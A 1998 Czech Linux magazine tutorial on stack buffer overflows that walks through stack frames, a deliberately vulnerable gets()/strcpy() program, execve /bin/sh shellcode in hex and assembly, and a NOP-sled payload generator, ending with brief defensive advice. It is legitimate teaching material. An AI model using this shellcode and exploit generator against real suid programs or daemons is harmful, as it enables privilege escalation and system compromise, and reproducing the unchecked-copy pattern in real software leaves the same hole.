- předchozí článek - následující článek - obsah -

Linuxové noviny Březen 1998

Přetečení bufferu

David Rohleder, 3. března 1998

Přetečení bufferu je jednou z nejčastějších bezpečnostních děr v programech UNIXových systémů.

Programovací jazyky, které umožňují rekurzivní volání podprogramů (podprogram je rekurzivní, jestliže jeho nová aktivace může začít ještě před tím, než se ukončí jeho předchozí aktivace) musí pro jejich volání používat nějakou dynamickou strukturu, která udržuje informace potřebné k úspěšnému návratu z podprogramu. K tomuto účelu se používá zásobník.

Oblasti

Nejdříve si musíme vysvětlit, jak je proces organizován v paměti. Proces je rozdělen na tři hlavní oblasti: text, data a zásobník.

  • Textová oblast obsahuje kód programu a data určená pouze pro čtení. Tato oblast je v paměti označena pouze pro čtení a není možno do ní zapisovat. Pokus o zápis vyvolá porušení ochrany paměti. V Linuxu proto není možné psát samomodifikující se programy (no jo, kecám :-).

  • Datová oblast obsahuje inicializovaná a neinicializovaná data. Obsahuje všechny globální proměnné a dynamicky alokované proměnné. S velikostí datové oblasti je možné manipulovat pomocí volání brk(2) a sbrk(2).

  • Zásobník slouží především k uložení lokálních proměnných a předávání parametrů funkcím. Mezi bss a zásobník se ještě mapují sdílené knihovny a věci, které lze mapovat pomocí mmap(2).
[ schéma ]

Obrázek 6: Paměť při startu programu

Práce se zásobníkem

Zásobníková oblast je souvislý blok paměti obsahující data. Na vrchol zásobníku ukazuje (u procesorů Intel) registr SP. Dno zásobníku je na pevné adrese. Procesor používá pro manipulaci se zásobníkem dvě instrukce: PUSH pro ukládání a POP pro vybírání dat ze zásobníku. Zásobník v závislosti na typu procesoru roste buď směrem k nižším nebo k vyšším adresám. U procesorů Intel, SPARC a MIPS roste zásobník směrem k nižším adresám.

Zásobník používají programy k volání svých podprogramů, předávání parametrů a ukládání lokálních proměnných. Na zásobníku jsou uloženy ve formě tzv. aktivačního záznamu AZ. Při implementaci přidělování paměti bývá jeden registr vyhrazen jako ukazatel na začátek aktuálního aktivačního záznamu. Vzhledem k tomuto registru se pak počítají adresy datových objektů umístěných v aktivačním záznamu. U procesorů Intel se používá registr BP (Base Pointer). Naplnění tohoto registru a přidělení nového aktivačního záznamu je součástí volací posloupnosti (prologu) podprogramu. Volací posloupnost je rozdělena mezi volající a volaný podprogram. Volající uloží do zásobníku parametry předávané podprogramu. Pak zavolá pomocí instrukce CALL volaný podprogram. Návratová adresa je uložena na zásobník. Volaný podprogram na zásobník uloží ukazatel na starý aktivační záznam (BP), pak do ukazatele BP uloží vrchol zásobníku a nakonec vyhradí místo pro lokální proměnné. Podprogram potom inicializuje lokální proměnné a začne provádět své tělo.

Jeden typický příklad je na výpisu Příklad example1.c.


 int f(int a, int b, int c)
 {
   char buffer[5];
   char buffer2[10];

   return a+b;
 }

 void main(void)
 {
   f(1,2,3);
 }

Výpis 7: Příklad example1.c

Pomocí gcc vygenerujeme assemblerový kód:

$ gcc -S -o example1.s example1.c

Příslušný kód pro volání funkce f vypadá následovně:

pushl $3
pushl $2
pushl $1
call f

Program uloží tři argumenty v pořadí od posledního k prvnímu na zásobník a pak zavolá funkci f. Toto pořadí ukládání parametrů na zásobník umožňuje snadné volání funkcí s proměnlivým počtem parametrů (funkce s výpustkou - int funkce(...)). Instrukce call f uloží na zásobník návratovou adresu (návrat je pak proveden instrukcí RET).

Volaný podprogram pak provede prolog:

/* uloží ukazatel na starý AZ do zásobníku */
pushl %ebp
/* do BP uloží ukazatel na nový AZ */
movl %esp,%ebp
/* vyhrazení místa pro lokální proměnné */
subl $20,%esp

Uloží registr ukazující na stávající aktivační záznam (ebp) a uloží do něj nový ukazatel na právě vytvářený záznam. Pak vytvoří místo pro lokální proměnné. Překladač zarovnává proměnné na délku slova (tzn. v našem případě 4B). Takže bytový buffer velikosti 5 bytů ve skutečnosti zabírá 8 bytů a buffer2 zabírá 12 bytů. Proto je nutno od SP odečíst 20.

Obsah zásobníku je znázorněn na obrázku Obsah zásobníku.

[ schéma ]

Obrázek 8: Obsah zásobníku

Po provedení těla podprogramu je nutné obnovit stav, který byl před voláním podprogramu. Tento postup se nazývá návratová posloupnost (function epilog) a je opět rozdělen mezi volaný a volající podprogram. Volaný podprogram odstraní ze zásobníku lokální proměnné a obnoví ukazatel na předchozí AZ. Potom pomocí instrukce RET vrátí řízení volajícímu podprogramu. Volající podprogram dokončí návratovou posloupnost tím, že odstraní ze zásobníku parametry předávané podprogramu.

Návratová posloupnost volaného podprogramu:

/* odstranění lokálních proměnných ze zásobníku */
movl %ebp,%esp
/* obnovení ukazatele na AZ volajícího podprogramu */
popl %ebp
/* návrat do volajícího podprogramu */
ret

Návratová posloupnost volajícího podprogramu:

/* odstranění předávaných parametrů ze zásobníku */
addl $12,%esp

Přetečení bufferu

Data se tedy do zásobníku vkládají od vyšších adres k nižším. Většina operací se ovšem provádí od nižších adres k vyšším adresám. Typickým příkladem může být kopírování řetězců (viz výpis Příklad example2.c).


 #include <string.h>
 #include <stdio.h>

void f(char *str) { char buffer[96]; /* tady jsou nějaké instrukce */ strcpy(buffer,str); /* tady mohou být nějaké další instrukce */ } char retezec[512]; void main(void) { gets(retezec); f(retezec); } $ gcc -o example2 example2.c $ ./example2 Opravdu velmi ..... sem doplňte min. 90 \ znaků .... dlouhý string ^D Segmentation fault (core dumped) $

Výpis 9: Příklad example2.c

Zde programátor udělal chybu, když neošetřil stav, kdy je do proměnné buffer uloženo více dat než je její velikost. To se mu ovšem krutě vymstí. Protože je proměnná buffer uložena na zásobníku, který roste od vyšších adres k nižším, jsou přepsány všechny informace, které se nacházejí nad proměnnou buffer. Naneštěstí zde leží také návratová adresa do volajícího podprogramu. Při pokusu o návrat tedy s největší pravděpodobností dojde k porušení ochrany paměti a k násilnému ukončení procesu. Jak vypadá zásobník před a po volání funkce strcpy() je na obrázku Zásobník.

[ schéma ]

Obrázek 10: Zásobník

Ale co s tím? Zatím to nevypadá na nějakou možnost zneužití. Program se pokoušel provést kód, kde žádný kód nebyl a tak interpretovat v podstatě náhodný kód nebo sáhl do oblasti, ke které neměl přístup. Ale co se stane v případě, kdy na daném místě skutečně nějaký programový kód bude? Kód se jednoduše provede.

Nejjednodušší případ

Zřejmě nejjednodušší je spuštění shellu. Na návratovou adresu, kterou přepsal příliš dlouhý řetězec umístíme volání jádra execve pro spuštění shellu (/bin/sh). Jediné co musíme vědět je, jak takové volání vypadá (viz výpis Příklad example3.c).


 #include <unistd.h>

 int main()
 {
   char *name[2];

   name[0]="/bin/sh";
   name[1]=NULL;

   execve(name[0],name,NULL);

   return 0;
 }

Výpis 11: Příklad example3.c

$ gcc -g -O example3.c -o example3

Výstup z gdb vypadá pro funkci main() následovně:

 (gdb) disas main
 Dump of assembler code for function main:
 0x8048140 <main>:    pushl %ebp
 0x8048141 <main+1>:  movl  %esp,%ebp
 0x8048143 <main+3>:  pushl $0x0
 0x8048145 <main+5>:  pushl $0x0
 0x8048147 <main+7>:  pushl $0x8058828
 0x804814c <main+12>: call 0x8048354 <execve>
 0x8048151 <main+17>: xorl  %eax,%eax
 0x8048153 <main+19>: movl  %ebp,%esp
 0x8048155 <main+21>: popl  %ebp
 0x8048156 <main+22>: ret    
 End of assembler dump.
 (gdb) 

Disassemblovaný výstup z funkce execve():

 0x8048354 <execve>:    pushl %ebp
 0x8048355 <execve+1>:  movl  %esp,%ebp
 0x8048357 <execve+3>:  pushl %ebx
 0x8048358 <execve+4>:  movl  $0xb,%eax
 0x804835d <execve+9>:  movl  0x8(%ebp),%ebx
 0x8048360 <execve+12>: movl  0xc(%ebp),%ecx
 0x8048363 <execve+15>: movl  0x10(%ebp),%edx
 0x8048366 <execve+18>: int   $0x80
 0x8048368 <execve+20>: movl  %eax,%edx
 0x804836a <execve+22>: testl %edx,%edx
 0x804836c <execve+24>: jnl   0x804837e <execve+42>
 0x804836e <execve+26>: negl  %edx
 0x8048370 <execve+28>: pushl %edx
 0x8048371 <execve+29>: call  0x8050a44 <__normal_errno_location>
 0x8048376 <execve+34>: popl  %edx
 0x8048377 <execve+35>: movl  %edx,(%eax)
 0x8048379 <execve+37>: movl  $0xffffffff,%eax
 0x804837e <execve+42>: popl  %ebx
 0x804837f <execve+43>: movl  %ebp,%esp
 0x8048381 <execve+45>: popl  %ebp
 0x8048382 <execve+46>: ret   
 0x8048383 <execve+47>: nop   

Nejdůležitější činností knihovní funkce execve je volání jádra vytvářející nový proces. V Linuxu pro Intel se pro volání jádra používá přerušení int 80. Číslo funkce jádra se předává v registru eax a případné parametry pak v dalších registrech. Číslo 0xb je právě číslo funkce v jádře, která přepíše stávající kód novým kódem a spustí jej.

Nyní by stačilo použít tuto část kódu jako řetězec, kterým přetečeme buffer v níže uvedeném programu. Jsou zde ovšem dva malé problémy. Řetězec "/bin/sh" se do volání execve() předává jako ukazatel na řetězec. Tento řetězec je umístěn v datovém segmentu. Protože nemůžeme počítat s tím, že program, který se snažíme napadnout bude mít někde v paměti řetězec "/bin/sh" musíme si ho dodat sami. Druhý problém spočívá v tom, že kód obsahuje nulové byty - chceme totiž pro přetečení bufferu použít volání strcpy().

Řešení prvního problému je následující: řetězec "/bin/sh" umístíme na konec našeho řetězce s kódem. Nyní musíme ovšem zjistit adresu tohoto řetězce. Použijeme k tomu sekvenci relativního skoku (jmp) a relativního volání (call). Instrukci jmp umístíme na začátek kódu. Instrukci call na konec kódu, těsně před řetězec "/bin/sh". Instrukce jmp provede relativní skok na instrukci call, která uloží do zásobníku návratovou adresu a provede skok na instrukci těsně za jmp. Instrukce call uloží na zásobník adresu následující instrukce. Za call ovšem není instrukce, ale řetězec "/bin/sh". Tímto poněkud komplikovaným způsobem jsme získali adresu řetězce "/bin/sh".

Druhý problém vyřešíme pomocí instrukce xor %eax,%eax, tak dostaneme do registru eax nulu bez uvedení nulového bytu. Tak na všechna místa, kde by měla být nula umístíme nulu až v době běhu našeho kódu.


 #include <stdlib.h>

 #define BUFFER_SIZE 96
 #define AZ 12
 #define NAS_BUFFER BUFFER_SIZE+AZ+1
 #define NOP 0x90

 /* Velikost bufferu, který se snažíme přetéct.
  * Na začátku bude obsahovat instrukce nop a * na konci adresy začátku programu
  * AZ ... velikost aktivačního záznamu
  */

 /* 
  * řetězec použitý pro spuštění programu /bin/sh
  * podle chuti je možno nahradit /bin/sh jinym programem
  * se jménem o délce 7 znaků: např. /bin/ps
  */

 char shell[] = 
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 char *buff, *ptr;
 unsigned long *addr, *addr_ptr;
 int i;

 void main(int argc, char *argv[])
 {
   if (argc<2) {
     printf("špatný počet argumentů\n");
     exit(1);
   }

   sscanf(argv[1],"%p",&addr);

   if(!(buff = malloc(NAS_BUFFER))){
     printf("Nedostatek paměti ???\n");
     exit(1);
   }

   addr_ptr = (long *) buff ;

   for(i=0;i<(NAS_BUFFER);i+=4)
     *(addr_ptr++) = addr;

   /* pár NOPů na začátek nemůže uškodit */

   for(i=0;i<20;i++) *(buff+i) = NOP;

   ptr=buff+20;
   for (i=0;i<strlen(shell);i++) *ptr++=shell[i];

   buff[NAS_BUFFER-1]='\0';

   printf("%s\n",buff);
 }

Výpis 12: Příklad example5.c


 void main()
 {
   __asm__("
    jmp     0x1f            # skok na instrukci call
    popl    %esi            # adresa řetězce /bin/sh
    movl    %esi,0x8(%esi)  # druhý parametr volání execve na zásobník
    xorl    %eax,%eax       # 
    movb    %eax,0x7(%esi)  # ukončí řetězec /bin/sh nulou
    movl    %eax,0xc(%esi)  # třetí parametr volání execve na zásobník
    movb    $0xb,%al        # syscall 11 - execve
    movl    %esi,%ebx       # první parametr do %ebx
    leal    0x8(%esi),%ecx  # druhý parametr do %ecx
    leal    0xc(%esi),%edx  # třetí parametr do %edx
    int     $0x80           # volání jádra execve
    xorl    %ebx,%ebx       # proběhne pouze v případě, 
    movl    %ebx,%eax       # že volání execve selže, pak se volá
    inc     %eax            #
    int     $0x80           # exit(0)
    call    -0x24           # získání adresy řetězce a návrat na začátek
    .string \"/bin/sh\"
 ");

Výpis 13: Příklad example4.c

Z programu na výpisu Příklad example4.c pak získáme řetězec, který spolu s dalšími částmi použijeme při přetečení bufferu. Program, který tento řetězec vytvoří je na výpisu Příklad example5.c.

Tímto způsobem vygenerujeme řetězec, který bude na začátku obsahovat několik instrukcí NOP (pro jistotu, nemusí tam být), pak řetězec, který spouští program /bin/sh a nakonec adresu začátku řetězce, kterou zadáme jako parametr (touto částí přepíšeme návratovou adresu). Nyní ovšem musíme zjistit, kde začíná proměnná buffer na zásobníku. Asi nejjednodušší způsob je upravit program example2.c, aby nám tuto adresu vytiskl (viz výpis Příklad example6.c).


 #include <string.h>
 #include <stdio.h>

 void f(char *str)
 {
    char buffer[96];
    fprintf(stderr,"Zásobník: %p\n",buffer);

    strcpy(buffer,str);
 }

 char retezec[512];

 void main(void)
 {
    gets(retezec);
    f(retezec);
 }

Výpis 14: Příklad example6.c

Funkčnost programu ověříme následovně:

 $ gcc -o example5 example5.c
 $ gcc -o example6 example6.c
 $ ./example6
 ^D
 Zásobník: 0xbffffabc
 $ ./example5  0xbffffabc | ./example6
 $
 

A nyní na původním programu:

 $ ./example6
 ^D
 Zásobník: 0xbffffabc
 $ ./example5 0xbffffabc | ./example2 
 $

Pokud jsme postupovali správně, tak se speciálním vstupem dosáhneme spuštění jiného programu (pokud to není zřejmé, zkuste nahradit řetězec "/bin/sh" řetězcem "/bin/ps"). Představte si takovou chybu například v programu finger (dříve byl spouštěn pod uživatelem root).

Zneužití?

Možnost zneužití takovéto programátorské chyby obvykle závisí na charakteristice daného programu. O zneužití se dá hovořit zejména v případě programů s propůjčením identifikace vlastníka (suid) nebo aplikací spuštěných s oprávněním někoho jiného a čtoucí data od uživatele (např. síťové démony). Asi nejznámější případ takového druhu zneužití byl tzv. Morrisův internetový červ zneužívající mimo jiné přetečení bufferu při čtení dat v démonu finger(1).

Obrana?

Správné programovací techniky :-). Záměna funkcí typu strcpy() za funkce strncpy(), gets() za fgets() a pod. Dalšími možnostmi jsou zejména speciálně upravené překladače nebo přímo patch do jádra. O tom možná někdy příště...

Použitá literatura:

  1. Smith, Nathan P.: Stack Smashing Vulnerabilities in the UNIX Operating System
    http://millcomm.com/~nate/machines/security/stack-smashing/,
  2. Aleph One: Smashing The Stack For Fun And Profit
    Phrack 49
*


- předchozí článek - následující článek - obsah -